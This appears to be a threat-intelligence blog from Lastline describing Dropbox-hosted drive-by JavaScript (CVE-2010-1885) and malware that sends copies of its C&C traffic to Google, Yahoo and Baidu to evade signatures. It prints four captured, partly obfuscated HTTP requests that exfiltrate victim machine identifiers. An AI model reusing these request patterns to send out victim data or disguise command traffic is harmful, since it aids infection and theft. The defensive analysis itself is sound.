Cloud Storage as an Attack Vector

One of the main products we develop at Lastline is the Malscape Threat Intelligence Feed, which provides continuously updated intelligence about malicious activity on the Internet. Specifically, we provide information about malicious servers on the Internet based on the various analysis techniques we have developed. Regularly, we find that legitimate services on the Internet are abused by attackers and we need to make sure that such domains or IP addresses are specifically marked by our heuristics: we typically do not want to blacklist these domains/IP addresses since this could cause unwanted side effects. A prime example of this kind of benign services are cloud storage solutions such as for example Dropbox. These services are often abused by attackers to host their malicious content (e.g., malware binaries, exploits, or helper files) in an attempt to evade common attack detection techniques.

As an example of malicious content hosted on a cloud storage, we can take a look at a recent Wepawet report. The attacker uses Dropbox to host a JavaScript file that includes an iframe to another site, which then attempts to perform drive-by download attacks based on the Help Center URL Validation vulnerability (CVE-2010-1885).

Obviously, we do not want to blacklist the domain dl.dropbox.com since it belongs to a service that is used by many people in legitimate use cases. However, to protect people on the Internet from this kind of attacks, we want to make sure that malicious content hosted on benign services is removed as quickly as possible. To reach this goal, we have established good relationships to various services and regularly send them reports about malware hosted at their site. The malicious JavaScript file from the above example was reported to Dropbox shortly after our analysis systems detected that it is malicious and within less than 30 minutes it was removed from Dropbox. Furthermore, the user and all of his/her links were banned as well, mitigating this threat efficiently.

Real-World Signature Evasion by Malware

At Lastline, we use different approaches to detect Command & Control (C&C) servers used by attackers to remotely control compromised machines. These approaches are based on diverse assumptions that we have about C&C servers. One of our methods relies on classical network signatures to describe how C&C traffic looks like. Obviously, such network signatures have drawbacks and attackers constantly try to circumvent these signatures, for example to confuse analysis systems used by security experts in the field.

In today’s example, we study one particular kind of signature evasion approach that we often see in practice. Every day, we observe network traffic that contains suspicious data (e.g., credentials stolen on a compromised machine, status reports generated by a bot, or some kind of personal info that is exfiltrated), but this data is not only sent to the actual C&C server, but also to a legitimate domain like google.com and baidu.com.

Consider the following four examples of (slightly obfuscated) HTTP requests that we observed in our analysis environment:

POST /Count/Count.asp HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: MyApp
Host: www.baidu.com
Content-Length: 85
Cache-Control: no-cache
Mac=12-34-56-78-90-12&Os=Windows+XP&Ver=20091107&Key=...

GET /webcontroller/alive.php?key=anthonyrules&pcuser=XXX&pcname=XXX&hwid=XXX&country=XXX HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: yahoo.com
Connection: Keep-Alive

GET /webcontroller/alive.php?key=crs%2Ec0dereality&pcuser=XXX&pcname=XXX&hwid=XXX&country=XXX HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: google.com
Connection: Keep-Alive

POST /ttt.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1115
Host: www.google.com.br
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
praquem=infect%40gmail%2Ecom&titulo=...

Note that the malware does not forge the “Host:” header, but actually sends data to web servers belonging to well-known brands. We speculate that attackers use this approach to confuse blacklists and signature-based analysis systems: if traffic is sent to a legitimate server like google.com, a (naive) assumption is that this traffic is benign since attackers typically only use such requests to test if the compromised machine is actually connected to the network. As a results, a naive method is to whitelist this kind of traffic, which would lead to a situation in which also suspicious traffic is whitelisted, thus evading the signature generation process. At Lastline, we have several mechanisms in place to prevent this kind of problems and we only flag actual C&C servers as malicious.

Note that the requests to Google and Baidu lead to actual error messages (typically a “404: Not found” or “301: Moved Permanently”  message), but these sites nevertheless receive a copy of the suspicious data contained in a request. As a result, these companies could also analyze the requests they receive and determine which of these connections belong to actual malware infections.

Follow

Get every new post delivered to your Inbox.